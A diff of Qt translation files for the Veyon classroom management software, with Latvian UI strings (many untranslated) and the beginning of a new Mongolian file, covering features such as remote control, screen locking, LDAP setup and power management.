+ + Type + Tips + + + Access group + Piekļuves grupas + + + Pair ID + Pāra ID + + + + BuiltinDirectoryConfigurationPage + + Rooms & computers + Kabineti un datori + + + Rooms + Datorklases + + + Computers + Datori + + + Name + Vārds + + + Host address/IP + Dalībnieku adreses un IP + + + MAC address + MAC adrese + + + Add new room + Pievienot jaunu istabu + + + Remove selected room + Izdzēst izvēlēto istabu + + + Add new computer + Pievienot jaunu datoru + + + Remove selected computer + Izdzēst izvēlēto datoru + + + New room + Jauna istaba + + + New computer + Jauns dators + + + Builtin directory + Iebūvētās mapes + + + + BuiltinDirectoryPlugin + + Show help for specific command + Parādīt palīdzību izvēlētajai komandai + + + Add a room or computer + Pievienot istabu vai datoru + + + Clear all rooms and computers + Notīrīt visus kabinetus un datorus + + + Dump all or individual rooms and computers + + + + List all rooms and computers + Saraksts ar visiem kabinetiem un datoriem + + + Remove a room or computer + Izdzēst istabu vai datoru + + + Import objects from given file + + + + Export objects to given file + + + + Invalid type specified. Valid values are "%1" or "%2". + + + + Type + Tips + + + Name + Vārds + + + Host address + Dalībnieku adreses + + + MAC address + MAC adrese + + + Specified object not found. + Izvēlētais mērķis nav atrasts. + + + File "%1" does not exist! + Fails "%1" neeksistē! + + + Can't open file "%1" for reading! + + + + Unknown argument "%1". + + + + Room "%1" + Istaba "%1" + + + Computer "%1" (host address: "%2" MAC address: "%3") + + + + Unclassified object "%1" with ID "%2" + + + + None + Nav + + + Room + Datorklase + + + Computer + Dators + + + Root + Sākums + + + Invalid + Neatbilstošs + + + Error while parsing line %1. + Kļūda nolasot %1 līniju. + + + Network object directory which stores objects in local configuration + + + + Builtin (computers and rooms in local configuration) + + + + Commands for managing the builtin network object directory + + + + No format string or regular expression specified! + + + + Can't open file "%1" for writing! + + + + No format string specified! + + + + +USAGE + +%1 export <FILE> [room <ROOM>] [format <FORMAT-STRING-WITH-VARIABLES>] + +Valid variables: %type% %name% %host% %mac% %room% + +Examples: + +* Export all objects to a CSV file: + + %1 export objects.csv format "%type%;%name%;%host%;%mac%" + +* Export all computers in a room to a CSV file: + + %1 export computers.csv room "Room 01" format "%name%;%host%;%mac%" + + + + + + +USAGE + +%1 add <TYPE> <NAME> [<HOST ADDRESS> <MAC ADDRESS> <PARENT>] + +Adds an object where TYPE can be one of "%2" or "%3". PARENT can be specified by name or UUID. + +Examples: + +* Add a room: + + %1 add room "Room 01" + +* Add a computer to room "Room 01": + + %1 add computer "Computer 01" comp01.example.com 11:22:33:44:55:66 "Room 01" + + + + + + +USAGE + +%1 remove <OBJECT> + +Removes the specified object from the directory. OBJECT can be specified by name or UUID. Removing a room will also remove all computers inside. + +Examples: + +* Remove a computer by name: + + %1 remove "Computer 01" + +* Remove an object by UUID: + + %1 remove 068914fc-0f87-45df-a5b9-099a2a6d9141 + + + + + + Object UUID + Objekta UUID + + + Parent UUID + Vecāka UUID + + + +USAGE + +%1 import <FILE> [room <ROOM>] [format <FORMAT-STRING-WITH-VARIABLES>] [regex <REGULAR-EXPRESSION-WITH-VARIABLES>] + +Valid variables: %type% %name% %host% %mac% %room% + +Examples: + +* Import simple CSV file to a single room: + + %1 import computers.csv room "Room 01" format "%name%;%host%;%mac%" + +* Import CSV file with room name in first column: + + %1 import computers-with-rooms.csv format "%room%,%name%,%mac%" + +* Import text file with with key/value pairs using regular expressions: + + %1 import hostlist.txt room "Room 01" regex "^NAME:(%name%:.*)\s+HOST:(%host%:.*)$" + +* Import arbitrarily formatted data: + + %1 import data.txt regex '^"(%room%:[^"]+)";"(%host%:[a-z\d\.]+)".*$' + + + + + + BuiltinUltraVncServer + + Builtin VNC server (UltraVNC) + + + + + BuiltinX11VncServer + + Builtin VNC server (x11vnc) + + + + + ComputerControlListModel + + Room: %1 + Datorklase: %1 + + + Host/IP address: %1 + Dalībnieku adreses/IP: %1 + + + Active features: %1 + Aktīvās iespējas: %1 + + + Online and connected + Tiešsaistē un pieslēdzies + + + Establishing connection + Veido savienojumu + + + Computer offline or switched off + + + + Service unreachable or not running + + + + Authentication failed or access denied + + + + Disconnected + Atslēdzies + + + No user logged on + Nav lietotājs pieslēdzies + + + Logged on user: %1 + + + + + ComputerControlServer + + %1 Service %2 at %3:%4 + + + + Authentication error + Autentifikācijas kļūda + + + Remote access + Attālināta piekļuve + + + User "%1" at host "%2" is now accessing this computer. + + + + User "%1" at host "%2" attempted to access this computer but could not authenticate successfully! + + + + + ComputerManagementView + + Computer management + Datora pārvaldība + + + Add room + Pievienot istabu + + + Save computer/user list + Saglabāt datoru/lietotāju sarakstu + + + Select output filename + Izvēlies izejas faila nosaukumu + + + CSV files (*.csv) + CSV faili (*.csv) + + + File error + Faila kļūda + + + Could not write the computer and users list to %1! Please check the file access permissions. + + + + Computer search + Datora meklēšana + + + + ComputerManager + + User + Lietotājs + + + Missing network object directory plugin + + + + No default network object directory plugin was found. Please check your installation or configure a different network object directory backend via %1 Configurator. + + + + Computer name;Host name;User + Datora nosaukums; dalībnieka vārds; lietotājs + + + Room detection failed + Kabineta meklēšanas kļūda + + + Could not determine the room which this computer belongs to. This indicates a problem with the system configuration. All rooms will be shown in the computer management instead. + + + + + ConfigCommandLinePlugin + + Please specify an existing configuration file to import. + + + + Please specify a valid filename for the configuration export. + + + + Please specify a valid key. + + + + Specified key does not exist in current configuration! + + + + Please specify a valid value. + + + + Configure Veyon at command line + + + + Output file is not writable! + + + + Output directory is not writable! + + + + Configuration file is not readable! + + + + Clear system-wide Veyon configuration + + + + List all configuration keys and values + + + + Import configuration from given file + + + + Export configuration to given file + + + + Read and output configuration value for given key + + + + Write given value to given configuration key + + + + Unset (remove) given configuration key + + + + Commands for managing the configuration of Veyon + + + + Upgrade and save configuration of program and plugins + + + + + ConfigurationManager + + Could not modify the autostart property for the %1 Service. + + + + Could not configure the firewall configuration for the %1 Server. + + + + Could not configure the firewall configuration for the %1 Worker. + + + + Could not change the setting for SAS generation by software. Sending Ctrl+Alt+Del via remote control will not work! + + + + Configuration is not writable. Please check your permissions! + + + + + DemoClient + + %1 Demo + %1 demonstrējums + + + + DemoConfigurationPage + + Demo server + Demonstrējuma serveris + + + Tunables + Noregulējumi + + + ms + ms + + + Key frame interval + + + + Memory limit + Atmiņas limits + + + Use multithreading (experimental) + + + + MB + MB + + + Update interval + Atjaunot intervālu + + + s + s + + + + DemoFeaturePlugin + + Fullscreen demo + Pilnekrāna demonstrējums + + + Stop demo + Apturēt demonstrējumu + + + Window demo + Logā demonstrējums + + + Give a demonstration by screen broadcasting + Dot demonstrējumu caur ekrāna raidīšanu + + + Demo server + Demonstrējuma serveris + + + In this mode your screen is being displayed in fullscreen mode on all computers while input devices of the users are locked. + + + + In this mode your screen being displayed in a window on all computers. The users are able to switch to other windows as needed. + + + + + DesktopAccessDialog + + Desktop access dialog + + + + Confirm desktop access + + + + Never for this session + + + + Always for this session + + + + The user %1 at computer %2 wants to access your desktop. Do you want to grant access? + + + + + DesktopServicesConfigurationPage + + Programs & websites + + + + Predefined programs + + + + Name + Vārds + + + Path + Ceļš + + + Add new program + Pievienot jaunu programmu + + + Remove selected program + Noņemt izvēlēto programmu + + + Predefined websites + + + + Remove selected website + + + + URL + URL + + + New program + + + + New website + + + + + DesktopServicesFeaturePlugin + + Run program + + + + Open website + Atvērt vietni + + + Click this button to open a website on all computers. + + + + Please enter the URL of the website to open: + + + + Start programs and services in user desktop + + + + Click this button to run a program on all computers. + + + + Run program "%1" + Palaist programmu "%1" + + + Custom program + + + + Open website "%1" + + + + Custom website + + + + + ExternalVncServer + + External VNC server + + + + + ExternalVncServerConfigurationWidget + + External VNC server configuration + + + + Port: + + + + Password: + Parole: + + + + FeatureControl + + Feature control + + + + + FileTransferController + + Could not open file "%1" for reading! Please check your permissions! + + + + + FileTransferDialog + + File transfer + + + + Options + Iespējas + + + Transfer only + + + + Transfer and open file(s) with associated program + + + + Transfer and open destination folder + + + + Files + + + + Start + + + + Overwrite existing files + + + + + FileTransferPlugin + + File transfer + + + + Click this button to transfer files from your computer to all computers. + + + + Select one or more files to transfer + + + + Transfer files to remote computer + + + + Received file "%1". + + + + Could not receive file "%1" as it already exists. + + + + Could not receive file "%1" as it could not be opened for writing! + + + + + GeneralConfigurationPage + + User interface + + + + Language: + Valodas: + + + Use system language setting + + + + Veyon + Veyon + + + Logging + Žurnalēšana + + + Log file directory + Žurnālfaila mape + + + ... + ... + + + Log level + + + + Nothing + + + + Only critical messages + + + + Errors and critical messages + + + + Warnings and errors + + + + Information, warnings and errors + + + + Debug messages and everything else + + + + Limit log file size + Žurnālfaila izmēra ierobežojums + + + Clear all log files + + + + Log to standard error output + + + + Network object directory + + + + Backend: + + + + Update interval: + + + + %1 service + %1 pakalpojums + + + The %1 service needs to be stopped temporarily in order to remove the log files. Continue? + + + + Log files cleared + + + + All log files were cleared successfully. + + + + Error + Ķļūda + + + Could not remove all log files. + + + + MB + MB + + + Rotate log files + + + + x + x + + + seconds + sekundes + + + Write to logging system of operating system + + + + Authentication + Autentifikācija + + + Method: + + + + Logon authentication + + + + Key file authentication + + + + + InternetAccessControlConfigurationPage + + Internet access control + + + + Backend: + + + + General settings + + + + Backend settings + + + + + InternetAccessControlPlugin + + Block access to the internet + Liegt interneta piekļuvi + + + Allow access to the internet + Atļaut interneta piekļuvi + + + Show help about command + Parādīt palīdzību par komandu + + + Block internet + Atslēgt internetu + + + Click this button to block access to the internet. + + + + Unblock internet + Pieslēgt internetu + + + Click this button to allow access to the internet. + + + + Control access to the internet + + + + Commands for controlling access to the internet + + + + + LdapBrowseDialog + + Browse LDAP + + + + + LdapClient + + LDAP error description: %1 + + + + No LDAP error description available + + + + + LdapConfigurationPage + + LDAP + + + + Basic settings + + + + General + Vispārīgi + + + LDAP server and port + + + + Bind DN + + + + Bind password + + + + Anonymous bind + + + + Use bind credentials + + + + Test + Tests + + + Base DN + + + + Fixed base DN + + + + e.g. dc=example,dc=org + + + + Discover base DN by naming context + + + + e.g. namingContexts or defaultNamingContext + + + + Environment settings + + + + Object trees + + + + Computer tree + + + + e.g. OU=Groups + + + + User tree + + + + e.g. OU=Users + + + + e.g. OU=Computers + + + + Group tree + + + + Perform recursive search operations in object trees + + + + Object attributes + + + + e.g. hwAddress + + + + Computer host name attribute + + + + e.g. member or memberUid + + + + User login attribute + + + + e.g. dNSHostName + + + + Computer MAC address attribute + + + + Group member attribute + + + + e.g. uid or sAMAccountName + + + + Host names stored as fully qualified domain names (FQDN, e.g. myhost.example.org) + + + + Advanced settings + + + + Optional object filters + + + + Filter for user groups + + + + Filter for users + + + + Filter for computer groups + + + + Group member identification + + + + Distinguished name (Samba/AD) + + + + Configured attribute for user login or computer host name (OpenLDAP) + + + + List all groups of a user + + + + List all groups of a computer + + + + Get computer object by IP address + + + + LDAP connection failed + + + + LDAP bind failed + + + + LDAP bind successful + + + + Successfully connected to the LDAP server and performed an LDAP bind. The basic LDAP settings are configured correctly. + + + + LDAP base DN test failed + + + + LDAP base DN test successful + + + + LDAP naming context test failed + + + + LDAP naming context test successful + + + + The LDAP naming context has been queried successfully. The following base DN was found: +%1 + + + + user tree + + + + group tree + + + + computer tree + + + + Enter username + Ievadi lietotājvārdu + + + Please enter a user login name (wildcards allowed) which to query: + + + + user objects + + + + user login attribute + + + + Enter group name + Ievadi grupas nosaukumu + + + Please enter a group name whose members to query: + + + + group members + grupas dalībnieki + + + group member attribute + + + + Group not found + Grupa nav atrasta + + + Could not find a group with the name "%1". Please check the group name or the group tree parameter. + + + + Enter computer name + Ievadi datora nosaukumu + + + Please enter a computer host name to query: + + + + Invalid host name + + + + You configured computer host names to be stored as fully qualified domain names (FQDN) but entered a host name without domain. + + + + You configured computer host names to be stored as simple host names without a domain name but entered a host name with a domain name part. + + + + computer objects + + + + computer host name attribute + + + + Enter computer DN + + + + Please enter the DN of a computer whose MAC address to query: + + + + computer MAC addresses + + + + computer MAC address attribute + + + + users + lietotāji + + + user groups + lietotāju grupas + + + computer groups + datoru grupas + + + Please enter a user login name whose group memberships to query: + + + + groups of user + + + + user login attribute or group membership attribute + + + + User not found + Lietotājs nav atrasts + + + Could not find a user with the name "%1". Please check the user name or the user tree parameter. + + + + Enter host name + + + + Please enter a computer host name whose group memberships to query: + + + + groups of computer + + + + computer host name attribute or group membership attribute + + + + Computer not found + + + + Could not find a computer with the host name "%1". Please check the host name or the computer tree parameter. + + + + Enter computer IP address + + + + Please enter a computer IP address which to resolve to an computer object: + + + + Host name lookup failed + + + + Could not lookup host name for IP address %1. Please check your DNS server settings. + + + + computers + datori + + + LDAP %1 test failed + + + + Could not query any entries in configured %1. Please check the %1 parameter. + +%2 + + + + LDAP %1 test successful + + + + The %1 has been queried successfully and %2 entries were found. + + + + Could not query any %1. Please check the %2 parameter or enter the name of an existing object. + +%3 + + + + %1 %2 have been queried successfully: + +%3 + + + + LDAP filter test failed + + + + Could not query any %1 using the configured filter. Please check the LDAP filter for %1. + +%2 + + + + LDAP filter test successful + + + + %1 %2 have been queried successfully using the configured filter. + + + + (only if different from group tree) + + + + Computer group tree + + + + computer group tree + + + + Filter for computers + + + + e.g. room or computerLab + + + + List all members of a computer room + + + + List all computer rooms + Visu datorklašu saraksts + + + Enter computer room name + + + + Please enter the name of a computer room (wildcards allowed): + + + + computer rooms + datorklases + + + computer room attribute + + + + Please enter the name of a computer room whose members to query: + + + + computer room members + datorklases lietotāji + + + computer group filter or computer room member aggregation + + + + Computer rooms + Datorklases + + + Integration tests + + + + Computer room attribute + + + + Aggregate computers in a room via: + + + + Computer groups + Datoru grupas + + + Computer room attribute in computer objects + + + + Test not applicable + + + + Computer room name attribute + + + + e.g. name or description + + + + Filter for computer containers + + + + Computer containers or OUs + + + + Please change the computer room settings to use computer groups or computer containers as computer rooms. Then the specified attribute instead of the common name of computer groups or container objects will be queried. Otherwise you don't need to configure this attribute. + + + + Please change the computer room settings below to use computer containers as computer rooms. Otherwise you don't need to configure this filter. + + + + Connection security + + + + TLS certificate verification + + + + System defaults + Sistēmas noklusējums + + + Never (insecure!) + + + + Custom CA certificate file + + + + None + Nav + + + TLS + + + + SSL + + + + e.g. (objectClass=computer) + + + + e.g. (objectClass=group) + + + + e.g. (objectClass=person) + + + + e.g. (objectClass=room) or (objectClass=computerLab) + + + + e.g. (objectClass=container) or (objectClass=organizationalUnit) + + + + Could not query the configured base DN. Please check the base DN parameter. + +%1 + + + + The LDAP base DN has been queried successfully. The following entries were found: + +%1 + + + + Could not query the base DN via naming contexts. Please check the naming context attribute parameter. + +%1 + + + + Certificate files (*.pem) + + + + Could not connect to the LDAP server. Please check the server parameters. + +%1 + + + + Could not bind to the LDAP server. Please check the server parameters and bind credentials. + +%1 + + + + Encryption protocol + + + + + LdapPlugin + + Auto-configure the base DN via naming context + + + + Query objects from LDAP directory + + + + Show help about command + Parādīt palīdzību par komandu + + + Commands for configuring and testing LDAP/AD integration + + + + Provide LDAP/AD integration for Veyon + + + + LDAP (load computers and rooms from LDAP/AD) + + + + LDAP (load users and groups from LDAP/AD) + + + + + LicensingConfigurationPage + + Licensing + + + + Installed licenses + + + + Add new network range + + + + Remove selected network range + + + + ID + + + + Feature + + + + Valid until + + + + Licensee + + + + Browse license file + + + + Veyon license files (*.vlf) + + + + Remove license + + + + Do you really want to remove the selected license? + + + + <N/A> + <N/A> + + + Invalid license file + + + + Could not open the license file for reading! + + + + The selected license file does not contain valid data. + + + + The selected license file could not be verified. + + + + The selected license file is not valid for this installation. + + + + The selected license file is expired. + + + + The license is already installed. + + + + + LicensingPlugin + + Show help for specific command + Parādīt palīdzību izvēlētajai komandai + + + Show all installed licenses + + + + Add license file + + + + Remove installed license + + + + +USAGE + +%1 add <LICENSE FILE> + + + + + + +USAGE + +%1 remove <LICENSE ID> + + + + + + No certificate found with given ID + + + + <N/A> + <N/A> + + + Licensing management + + + + Commands for managing license keys + + + + + LinuxPlatformPlugin + + Plugin implementing abstract functions for the Linux platform + + + + + MainToolBar + + Configuration + + + + Disable balloon tooltips + + + + Show icons only + + + + + MainWindow + + MainWindow + + + + toolBar + + + + General + Vispārīgi + + + &File + &Fails + + + &Help + &Palīdzība + + + &Quit + &Iziet + + + Ctrl+Q + Ctrl+Q + + + Ctrl+S + Ctrl+S + + + L&oad settings from file + + + + Ctrl+O + Ctrl+O + + + About Qt + + + + Authentication impossible + + + + Configuration not writable + + + + Load settings from file + + + + Save settings to file + + + + Unsaved settings + + + + There are unsaved settings. Quit anyway? + + + + Veyon Configurator + + + + Service + Pakalpojums + + + Master + + + + Access control + + + + About Veyon + Par Veyon + + + + Auto + + + + Computer rooms + Datorklases + + + About + Par + + + %1 Configurator %2 + + + + JSON files (*.json) + + + + The local configuration backend reported that the configuration is not writable! Please run the %1 Configurator with higher privileges. + + + + No authentication key files were found or your current ones are outdated. Please create new key files using the %1 Configurator. Alternatively set up logon authentication using the %1 Configurator. Otherwise you won't be able to access computers using %1. + + + + Access denied + Piekļuve liegta + + + According to the local configuration you're not allowed to access computers in the network. Please log in with a different account or let your system administrator check the local configuration. + + + + Screenshots + Ekranšāviņi + + + Feature active + + + + The feature "%1" is still active. Please stop it before closing %2. + + + + Reset configuration + + + + Do you really want to reset the local configuration and revert all settings to their defaults? + + + + Search users and computers + + + + Adjust optimal size + Pielāgot labākajam izmēram + + + Align computers to grid + Sakārtot datorus režģī + + + Use custom computer placement + + + + %1 Configurator + + + + Insufficient privileges + + + + Could not start with administrative privileges. Please make sure a sudo-like program is installed for your desktop environment! The program will be run with normal user privileges. + + + + Only show powered on computers + + + + &Save settings to file + + + + &View + + + + &Standard + + + + &Advanced + + + + + MasterConfigurationPage + + Directories + Mapes + + + ... + ... + + + User configuration + + + + Feature on computer double click: + + + + Automatically switch to current room at start + + + + Features + Iespējas + + + All features + Visas iespējas + + + Disabled features + Atslēgt iespējas + + + Perform access control at program start + + + + Screenshots + Ekranšāviņi + + + <no feature> + <no feature> + + + Automatically adjust computer thumbnail size at start + + + + Basic settings + + + + Behaviour + + + + Enforce selected mode for client computers + + + + Only show current room + + + + Allow adding rooms manually + + + + Hide local computer + + + + Hide empty rooms + Paslēpt tukšos kabinetus + + + Hide computer filter field + + + + Actions such as rebooting or powering down computers + + + + Show confirmation dialog for potential dangerous actions + + + + User interface + + + + Background color + + + + Thumbnail update interval + + + + ms + ms + + + Program start + + + + Modes and features + + + + User and computer name + + + + Only user name + + + + Only computer name + + + + Computer thumbnail caption + + + + Computer rooms + Datorklases + + + Automatically open computer rooms widget + + + + Text color + + + + Sort order + + + + Computer and user name + + + + + MonitoringMode + + Monitoring + + + + Builtin monitoring mode + + + + This is the default mode and allows you to monitor all computers in one or more rooms. + + + + + NetworkDiscoveryConfigurationPage + + Network discovery + + + + Mode + + + + Scan network ranges + + + + e.g. 192.168.1.0/24 + + + + Scan all subnets of computer + + + + Scan custom subnet + + + + Scan sessions on local computer + + + + Test + Tests + + + Network ranges + + + + Add new group + + + + Remove selected group + + + + Groups + + + + First address + + + + Last address + + + + Add new network range + + + + Remove selected network range + + + + Parallel scans + + + + Scan timeout + + + + ms + ms + + + Session scan limit + + + + New group + + + + Options + Iespējas + + + Reverse lookup discovered IP addresses to host names + + + + + NetworkDiscoveryDirectory + + Scanning... + Skenējas... + + + Discovered computers + Atklātie datori + + + + NetworkDiscoveryPlugin + + Show help for specific command + Parādīt palīdzību izvēlētajai komandai + + + Scan a subnet + Skenēt apakštīklu + + + +USAGE + +%1 scan [<SUBNET>] + + + + + + Network object directory which automatically discovers computers in the network + + + + Network discovery (scan network for Veyon clients) + + + + Commands for managing the network discovery directory + + + + + NetworkObjectTreeModel + + Room/Computer + + + + + PasswordDialog + + Username + Lietotājvārds + + + Password + Parole + + + Veyon Logon + + + + Authentication error + Autentifikācijas kļūda + + + Logon failed with given username and password. Please try again! + + + + Please enter your username and password in order to access computers. + + + + + PowerControlFeaturePlugin + + Power on + Ieslēgt + + + Click this button to power on all computers. This way you do not have to power on each computer by hand. + + + + Reboot + Restartēt + + + Click this button to reboot all computers. + + + + Power down + Izslēgt + + + Click this button to power down all computers. This way you do not have to power down each computer by hand. + + + + Power on/down or reboot a computer + Ieslēgt/Izslēgt vai restartēt datoru + + + Confirm reboot + Apstiprināt restartēšanu + + + Confirm power down + Apstriprināt izslēgšanu + + + Do you really want to reboot the selected computers? + Vai Tu tiešām vēlies restartēt izvēlētos datorus? + + + Do you really want to power down the selected computer? + Vai Tu tiešām vēlies izslēgt izvēlētos datorus? + + + Power on a computer via Wake-on-LAN (WOL) + + + + MAC ADDRESS + MAC adrese + + + This command broadcasts a Wake-on-LAN (WOL) packet to the network in order to power on the computer with the given MAC address. + + + + Please specify the command to display help for! + + + + Invalid MAC address specified! + + + + Commands for controlling power status of computers + + + + + RemoteAccessFeaturePlugin + + Remote view + Attālināts skats + + + Open a remote view for a computer without interaction. + Atvērt attālinātu skatu datoram bez iejaukšanās + + + Remote control + Attālināta kontrole + + + Open a remote control window for a computer. + Atvērt attālinātu kontroles logu datoram + + + Remote access + Attālināta piekļuve + + + Remote view or control a computer + + + + Please enter the hostname or IP address of the computer to access: + + + + Show help about command + Parādīt palīdzību par komandu + + + + RemoteAccessWidget + + %1 - %2 Remote Access + %1 - %2 Attālināta piekļuve + + + + RemoteAccessWidgetToolBar + + View only + Skats tikai + + + Remote control + Attālināta kontrole + + + Send shortcut + Nosūtīt saīsni + + + Fullscreen + Pilnekrāns + + + Window + Logs + + + Quit + Iziet + + + Ctrl+Alt+Del + Ctrl+Alt+Del + + + Ctrl+Esc + Ctrl+Esc + + + Alt+Tab + Alt+Tab + + + Alt+F4 + Alt+F4 + + + Win+Tab + Win+Tab + + + Win + Win + + + Menu + Izvēlne + + + Alt+Ctrl+F1 + Alt+Ctrl+F1 + + + Connecting %1 + Pieslēdzas %1 + + + Connected. + Pieslēdzies. + + + Screenshot + Ekrānšāviņš + + + + RoomSelectionDialog + + Room selection + Istabas izvēle + + + enter search filter... + ievadi meklēšanas filtru... + + + + Routing + + Control internet access by modifying routing table + + + + + RoutingConfigurationWidget + + Remove default routes to block internet access + + + + Add custom route to block internet + Pievienot papildus ceļu lai bloķētu internetu + + + Destination + Mērķis + + + Gateway + Vārteja + + + + RunProgramDialog + + Please enter the programs or commands to run on the selected computer(s). You can separate multiple programs/commands by line. + + + + Run programs + Palaist programmas + + + e.g. "C:\Program Files\VideoLAN\VLC\vlc.exe" + + + + + ScreenLockFeaturePlugin + + Lock + Slēgt + + + Unlock + Atslēgt + + + Lock screen and input devices of a computer + + + + To reclaim all user's full attention you can lock their computers using this button. In this mode all input devices are locked and the screens are blacked. + + + + + Screenshot + + unknown + nezināms + + + Could not take a screenshot as directory %1 doesn't exist and couldn't be created. + + + + Screenshot + Ekrānšāviņš + + + + ScreenshotFeaturePlugin + + Screenshot + Ekrānšāviņš + + + Use this function to take a screenshot of selected computers. + Lieto šo funkciju lai uzņemtu ekrānšāviņu izvēlētajiem datoriem. + + + Screenshots taken + Ekrānšāviņš veikts + + + Screenshot of %1 computer have been taken successfully. + Ekrānšāviņs veiksmīgi uzņemts datoram %1. + + + Take screenshots of computers and save them locally. + Uzņemt datora ekrānšāviņu un saglabāt lokāli. + + + + ScreenshotManagementView + + User: + Lietotājs: + + + Date: + Datums: + + + Time: + Laiks: + + + Show + Parādīt + + + Delete + Izdzēst + + + All screenshots taken by you are listed here. You can take screenshots by clicking the "Screenshot" item in the context menu of a computer. The screenshots can be managed using the buttons below. + + + + Computer: + Dators: + + + + ServiceConfigurationPage + + General + Vispārīgi + + + Autostart + Automātiskā palaišana + + + Hide tray icon + Paslēpt palodzes ikonu + + + Start service + Palaist pakalpojumu + + + Stopped + Apstādināts + + + Stop service + Apstādināt pakalpojumu + + + State: + + + + Enable SAS generation by software (Ctrl+Alt+Del) + + + + Network + Tīkls + + + Demo server port + Demonstrējuma servera ports + + + Enable firewall exception + Iespējot ugunsmūra izņēmumu + + + Allow connections from localhost only + + + + Internal VNC server port + Iekšējais VNC servera ports + + + VNC server + VNC serveris + + + Plugin: + Spraudņi: + + + Restart %1 Service + Restartēt %1 pakalpojumu + + + All settings were saved successfully. In order to take effect the %1 service needs to be restarted. Restart it now? + + + + Running + Darbojas + + + Feature manager port + + + + Primary service port + + + + Enabling this option will make the service launch a server process for every interactive session on a computer. +Typically this is required to support terminal servers. + + + + Multi session support (experimental) + + + + Show notification on remote connection + + + + Show notification on failed authentication attempts + + + + + ServiceControl + + Starting service %1 + Palaižas pakalpojums %1 + + + Stopping service %1 + Apstājas pakalpojums %1 + + + Registering service %1 + Reģistrēt pakalpojumu %1 + + + Unregistering service %1 + Atcelt reģistrāciju pakalpojumam %1 + + + Service control + Pakalpojuma kontrole + + + + ServiceControlPlugin + + Service is running + Pakalpojums darbojas + + + Service is not running + Pakalpojums nedarbojas + + + Configure and control Veyon service + + + + Register Veyon Service + Reģistrēt Veyon pakalpojumu + + + Unregister Veyon Service + Atcelt reģistrāciju Veyon pakalpojumam + + + Start Veyon Service + Sāknēt Veyon pakalpojumu + + + Stop Veyon Service + Apturēt Veyon pakalpojumu + + + Restart Veyon Service + Restartēt Veyon pakalpojumu + + + Query status of Veyon Service + + + + Commands for configuring and controlling Veyon Service + + + + + ShellCommandLinePlugin + + Run command file + Palaist komandu failu + + + File "%1" does not exist! + Fails "%1" neeksistē! + + + Interactive shell and script execution for Veyon Control + + + + Commands for shell functionalities + + + + + SystemTrayIcon + + System tray icon + Sistēmas teknes ikona + + + + SystemUserGroupsPlugin + + User groups backend for system user groups + + + + Default (system user groups) + + + + + TextMessageDialog + + Send text message + Nosūtīt teksta ziņojumu + + + Use the field below to type your message which will be sent to all selected users. + + + + + TextMessageFeaturePlugin + + Text message + Teksta ziņojums + + + Use this function to send a text message to all users e.g. to assign them new tasks. + + + + Message from teacher + Ziņojums no skolotāja + + + Send a message to a user + Nosūtīt ziņojumu lietotājam + + + + UltraVncConfigurationWidget + + Enable capturing of layered (semi-transparent) windows + + + + Poll full screen (leave this enabled per default) + + + + Low accuracy (turbo mode) + Zemu precizitāti (turbo režīms) + + + Builtin UltraVNC server configuration + + + + Enable multi monitor support + + + + Enable Desktop Duplication Engine on Windows 8 and newer + + + + + UserConfig + + No write access + Nav rakstīšanas atļauja + + + Could not save your personal settings! Please check the user configuration file path using the %1 Configurator. + + + + + UserSessionControl + + User session control + + + + Click this button to logout users from all computers. + + + + Confirm user logout + Apstiprināt lietotāja atslēgšanos + + + Do you really want to logout the selected users? + + + + Logout + Atslēgties + + + + VeyonCore + + [OK] + [OK] + + + [FAIL] + [FAIL] + + + Invalid command! + Neatbilstoša komanda! + + + Available commands: + Pieejamās komandas: + + + Invalid arguments given + + + + Not enough arguments given - use "%1 help" for more information + + + + Unknown result! + Nezināms rezultāts! + + + Available modules: + Pieejamie moduļi: + + + No module specified or module not found - available modules are: + + + + Plugin not licensed + Spraudnis nav licenzēts + + + INFO + Info + + + ERROR + Kļūda + + + licensed for + licenzēts uz + + + + VeyonServiceControl + + Veyon Service + Veyon pakalpojums + + + + VncView + + Establishing connection to %1 ... + Veido savienojumu ar %1 ... + + + + WindowsPlatformPlugin + + Plugin implementing abstract functions for the Windows platform + + + + + WindowsServiceControl + + WindowsServiceControl: the service "%1" is already installed. + + + + WindowsServiceControl: the service "%1" could not be installed. + + + + WindowsServiceControl: the service "%1" has been installed successfully. + + + + WindowsServiceControl: the service "%1" could not be uninstalled. + + + + WindowsServiceControl: the service "%1" has been uninstalled successfully. + + + + WindowsServiceControl: the start type of service "%1" could not be changed. + + + + WindowsServiceControl: service "%1" could not be found. + + + + + X11VncConfigurationWidget + + Builtin x11vnc server configuration + + + + Custom x11vnc parameters: + + + + Do not use X Damage extension + + + + \ No newline at end of file diff --git a/translations/mn.ts b/translations/mn.ts new file mode 100644 index 0000000..1dcdee8 --- /dev/null +++ b/translations/mn.ts @@ -0,0 +1,3815 @@ + + + AboutDialog + + About + Тухай + + + Translation + Орчуулга + + + License + Лиценз + + + About Veyon + + + + Contributors + + + + Version: + + + + Website: + + + + Current language not translated yet (or native English). + +If you're interested in translating Veyon into your local or another language or want to improve an existing translation, please contact a Veyon developer! + + + + About %1 %2 + + + + Support Veyon project with a donation + + + + + AccessControlPage + + Computer access control + + + + Grant access to every authenticated user (default) + + + + Test + Тест + + + Restrict access to members of certain user groups + + + + Process access control rules + + + + User groups authorized for computer access + + + + Please add the groups whose members should be authorized to access computers in your Veyon network. + + + + Authorized user groups + + + + All groups + Бүх групп + + + ... + ... + + + Access control rules + + + + Add access control rule + + + + Remove access control rule + + + + Move selected rule down + + + + Move selected rule up + + + + Edit selected rule + + + + Enter username + + + + Please enter a user login name whose access permissions to test: + + + + Access allowed + + + + The specified user is allowed to access computers with this configuration. + + + + Access denied + + + + The specified user is not allowed to access computers with this configuration. + + + + Enable usage of domain groups + + + + User groups backend: + + + + Missing user groups backend + + + + No default user groups plugin was found. Please check your installation! + + + + + AccessControlRuleEditDialog + + Edit access control rule + + + + General + Ерөнхий + + + enter a short name for the rule here + + + + Rule name: + + + + enter a description for the rule here + + + + Rule description: + + + + Invert all conditions ("is/has" interpreted as "is/has not") + + + + Conditions + + + + is member of group + + + + is located in room + + + + Accessing computer is localhost + + + + Accessing user is logged on user + + + + Accessing user is already connected + + + + If more than one condition is activated each condition has to meet in order to make the rule apply (logical AND). If only one of multiple conditions has to meet (logical OR) please create multiple access control rules. + + + + Action + + + + Allow access + + + + Deny access + + + + Ask logged on user for permission + + + + None (rule disabled) + + + + Accessing user + + + + Accessing computer + + + + Local (logged on) user + + + + Local computer + + + + Always process rule and ignore conditions + + + + No user logged on + + + + Accessing computer is located in the same room as local computer + + + + Accessing user has one or more groups in common with local (logged on) user + + + + + AccessControlRulesTestDialog + + Access control rules test + + + + Accessing user: + + + + Local computer: + + + + 